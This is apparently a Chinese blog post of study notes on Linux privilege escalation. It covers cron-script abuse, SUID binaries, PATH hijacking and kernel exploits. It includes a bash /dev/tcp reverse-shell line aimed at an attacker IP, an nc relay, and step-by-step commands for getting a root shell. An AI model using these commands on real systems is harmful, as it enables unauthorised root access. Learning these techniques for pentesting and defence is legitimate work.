Linux 提权学习小结

参考文章

Linux提权:从入门到放弃

前言

粗略地看了一下,Windows 提权方式相较于 Linux 多太多了。所以先搞搞 Linux 提权。

基本知识

这是使用ls -l命令得到的结果,通过此方式可以看到各用户对文件的权限

drwxr-xr-x  4 kali kali    4096 Jun  7 12:13  CVE-2020-0796
-rw-r--r-- 1 kali kali 2419716 Aug 17 06:14  result.txt

# 其中第一列各个字母/符号分别代表
-   表示无
d   表示这是一个目录,当然还有其他形式,如 l、b、c、p、s
r   可读,4
w   可写,2
x   可执行,1

# 第二列表示文件的硬链接数
# 第三/四列表示:文件(目录)拥有者、文件(目录)拥有者所在的组
# 后面的分别表示文件大小、创建时间以及名称

可以看到,第一列表示文件属性及权限的共有 10 个字符,除去第一个表示其是否为目录外
另外 9 个被分为 3 组,分别代表 拥有者权限所在组权限其他用户权限

可以使用 chmod 命令设置权限,例如 chmod -R 777 test-R 表示是对目录修改权限,当当前用户与文件所属用户不相符时,便没有权力更改这些属性

信息搜集工具:
linuxprivchecker
linux-exploit-suggester

exp 库:
Exploit-db
Linux 提权漏洞集合

方式

前提:有一个低权限的 shell,并能上传/下载文件

基于密码的提权

在前期对目标的信息搜集可能会得到一些存储着用户密码的文件,或者是在数据库中能得到一些账号密码。极有可能管理员会复用这些密码。于是便可以直接在 shell 中使用 sudo 命令(SSH 中不可用)尝试提权至管理员权限。还有就是查看一下桌面上的文件,有时候管理员为了方便记忆,会把一些账号密码放在桌面上的文件里。还有浏览器里面可能会存密码!

计划任务提权

一个简单但是不常见的方式。

系统内可能会有一些定时执行的任务,一般这些任务由 crontab 来管理,具有所属用户的权限。非 root 权限的用户是不可以列出 root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被所有用户列出

使用:ls -l /etc/cron*

默认这些程序以 root 权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本反弹 shell 什么的了

例如发现一个这样的计划任务:

-rwxrwxrw- 1 root root 2419716 Aug 17 06:14  corn

发现其所有用户可读可写,于是便可以在其中添加 bash -i >& /dev/tcp/192.168.230.136/2333 0>&1 来反弹 shell,在攻击机上监听,当管理员登陆时,即可得到一个 root 权限的 shell

SUID 提权

SUID 是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。

当以 root 身份给 SUID.py 文件执行 chmod u+s SUID.py 或者 chmod 4755 SUID.py 后,可以得到具有如下权限的文件

-rwSr-xr-x 1 root root        0 Aug 21 00:59 SUID.py     # 可以看到,代表 拥有者组 执行权限的字符变成了 S,且普通用户也有执行权限

当普通用户执行带有 S 标志位的可执行文件时,便会以文件拥有者 root 的权限执行的
可以通过如下命令 find / -user root -perm -4000 -print 2>/dev/null 得到这种类型的文件

常见的有提权功能的 Linux 可执行文件有:

Nmap
Vim
find
Bash
More
Less
Nano
cp

例如 nmap:

较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell

具体操作:

nmap -interactive  # 进入交互模式
nmap> !sh  # 提供一个 root 权限的 shell 

更多具体操作可以看这篇文章 Linux提权——利用可执行文件SUID

网络与隐藏的服务

有一些服务器的服务会被配置成对内网或者对本机开放。通过对他们的攻击我们有机会接触更多的敏感文件,或是运气足够好碰上一个远程 root 漏洞。

netstat -antup       # 查看各种网络服务,如果找到些神秘的服务,可以用 netcat 做个转发

# 转发
mkfifo backpipe
nc -l 本地神秘服务端口 0<backpipe | nc 远程IP 端口 1>backpipe

环境变量提权

什么是环境变量:

环境变量相当于给系统或用户应用程序设置的一些参数,具体起什么作用和具体的环境变量相关。比如 path,是告诉系统,当要求系统运行一个程序而没有告诉它程序所在的完整路径时,系统除了在当前目录下面寻找(Linux 系统不会在当前目录下寻找,而实直接在环境变量里找)此程序外,还应到哪些目录下去寻找
PATH 便是 Linux 中的一个环境变量,用于指定存储可执行程序的所有 bin 和 sbin 目录,当用户在终端上执行任何命令时,它会通过 PATH 变量来响应用户执行的命令,并向 shell 发送请求以搜索可执行文件

简言之:比如你在终端中输入一个 nmap 命令,其实是执行一个二进制文件,按下回车之后,系统便会去 PATH 指定的目录下寻找一个叫做 namp 的可执行文件,找到了便会执行该文件,找不到则提示没有该文件/命令

可以通过 echo $PATH 查看 PATH 环境变量

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games   # 以 : 作为分割符, . 代表当前目录

示例:
root 用户在 /temp 目录下编译了这样一个 shell.c 程序,得到一个叫做 shell 的可执行文件,并且执行了 chmod u+s shell 为其添加了 SUID 属性

#include<stdlib.h>
#include <unistd.h>
void main()
{
setuid(0);
system("ps");
}

得到:-rwSr-xr-x 1 root root 0 Aug 21 00:59 shell

此时攻击者取得了一个低权限的 shell,通过 find / -perm -u=s -type f 2>/dev/null,搜索具有 SUID 或 4000 权限的文件,发现

/temp/shell

并且同样也找到了它的源文件 shell.c
发现它使用了 system 函数,由于 system 函数是继承环境变量的,因此便可以通过替换环境变量可以达到执行任意命令的效果。

  • 获取一个 root 权限的 shell
    具体命令操作:
cd /tmp                  # 首先切换到该目录下
echo "/bin/sh" > ps      # 伪造一个 ps 文件
chmod 777 ps             # 赋予所有用户所有权限
export PATH=/tmp:$PATH   # 将 /temp 添加到环境变量
./shell                  # 执行 shell 文件

解释:
1.前提,c 程序中使用 system 函数调用了 ps 命令,由于 system 函数是继承环境变量的(即相当于在终端中执行命令),所以在执行 ps 时会去环境变量指定的目录中寻找一个叫 ps 的可执行文件
2.攻击者通过echo "/bin/sh" > pschmod 777 ps 在 /temp 目录下伪造了一个叫做 ps 的可执行文件
3.然后,通过 export PATH=/tmp:$PATH 将 /temp 目录加到了环境变量中,由于系统寻找可执行文件的时候是从指定的目录中一个个找的,谁写在前面便会先去这个目录找,找到了就不继续找,找不到再继续去下一个目录找,直到没找到
4.执行./shell 命令时,程序先去环境变量指定的第一个文件夹(/temp)中寻找一个叫 ps 的可执行文件,由于事先伪造好了这样一个文件,于是该程序便会执行这个假的 ps 文件
5.而文件内容为 /bin/sh ,且该文件是由管理员创建具有 SUID 属性,执行时便以 root 权限执行,最终便得到了一个 root 权限的 shell,就相当于 root 用户在终端中执行了 /bin/sh

总结下来:
1.需要一个有 SUID 属性的文件
2.需要了解到文件的源码,且其中要有可被利用的特殊函数
3.什么鬼,这么难利用,放弃,卒

内核提权

怎么说呢, Linux 提权还是以内核提权为主,其他提权方式要求的前提太多。

首先,基础的信息收集:

# 查看内核版本
uname -a

# 查看发行版
cat /etc/issue
cat /etc/*-release

例如:

Linux ruion-PC 4.15.0-30deepin-generic #31 SMP Fri Nov 30 04:29:02 UTC 2018 x86_64 GNU/Linux
# 内核版本(4.15.0),cpu 架构(x86_64),和发行版(Deepin 15.11)

得到这些信息后,便可以通过 kali 中的 searchspoit 查找 exploitdb 中的漏洞利用代码

searchsploit linux priv esc 4.15 Deepin 15


然后,查看结果的具体要求的筛选过程,大部分 exp 都会写清生效条件
然后下载 exp 在被攻击机上编译、执行
当被攻击机上没有 gcc 编译器的时候,就需要本地搭建类似环境进行编译后上传可执行文件再执行

gcc exp.c -o exp
chomd 777 exp
./exp

当然也可以使用前文给的两个信息搜集工具进行搜集

posted @ 2020-08-21 16:48  1ndex-  阅读(637)  评论(0编辑  收藏  举报